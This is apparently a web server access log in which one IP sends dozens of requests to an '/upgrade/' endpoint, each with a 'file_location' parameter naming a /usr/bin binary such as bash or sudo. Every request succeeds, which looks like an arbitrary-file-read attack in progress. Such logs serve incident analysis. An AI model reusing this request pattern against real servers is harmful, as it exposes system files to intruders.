45.135.193.11 - - [11/Sep/2026:22:48:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flinux32&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103207 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flinux32&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmodutil&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 133633 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmodutil&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpdnsutil&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 1862617 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpdnsutil&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_reset_wp&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101271 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_reset_wp&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsqlite3&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 949863 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsqlite3&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fchoom&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102805 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fchoom&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdpkg-maintscript-helper&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101531 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdpkg-maintscript-helper&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsievec&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108216 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsievec&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsss_ssh_authorizedkeys&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 104437 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsss_ssh_authorizedkeys&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwhich&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107418 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwhich&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgdk-pixbuf-query-loaders-64&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101504 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgdk-pixbuf-query-loaders-64&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Finfotocap&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 135187 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Finfotocap&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpw-jack&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96291 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpw-jack&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-monitor&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100830 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-monitor&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fperlivp&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99974 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fperlivp&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_compare_and_write&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103654 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_compare_and_write&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fxmlwf&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 110147 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fxmlwf&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysql_fix_extensions&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96546 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysql_fix_extensions&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsetleds&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102249 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsetleds&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_raw&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 105824 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_raw&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_write_x&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 119062 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_write_x&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsudo&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95808 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsudo&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgenfio&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99329 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgenfio&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmsgconv&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103056 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmsgconv&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-route-delete&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101356 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-route-delete&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fodbcinst&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103337 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fodbcinst&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpygettext3.py&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103930 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpygettext3.py&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fchgrp&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 121049 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fchgrp&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fegrep&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95820 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fegrep&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpk12util&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 125045 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpk12util&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Farpaname&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99317 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Farpaname&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Favinfo&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 105461 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Favinfo&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbash&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 771639 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbash&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fecho&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107706 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fecho&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpython3.9&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98822 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpython3.9&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-repart&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 168174 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-repart&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffusermount&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 110350 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffusermount&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgenl-ctrl-list&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99817 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgenl-ctrl-list&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fimunify360-command-wrapper&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100520 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fimunify360-command-wrapper&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fosinfo-detect&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 105002 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fosinfo-detect&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:48:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_start&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102362 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_start&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcpp&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 499382 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcpp&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdefncopy&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107349 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdefncopy&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgst-inspect-1.0&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 124547 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgst-inspect-1.0&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmdb_load&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103492 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmdb_load&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmsgcat&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103837 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmsgcat&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fobjdump&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 283543 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fobjdump&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpwmake&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100072 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpwmake&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpython-html2text&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96297 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpython-html2text&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffwupdtool&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 164524 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffwupdtool&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flslocks&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106527 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flslocks&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fosage&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100137 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fosage&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_wr_mode&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 104332 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_wr_mode&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_xcopy&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 113220 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_xcopy&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Funalias&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95832 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Funalias&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwmf2eps&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102814 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwmf2eps&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwmf2x&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101422 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwmf2x&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fappstream-util&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 143399 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fappstream-util&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdotty&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96800 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdotty&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrub2-mkfont&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 210115 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgrub2-mkfont&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Finstmodsh&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97266 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Finstmodsh&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
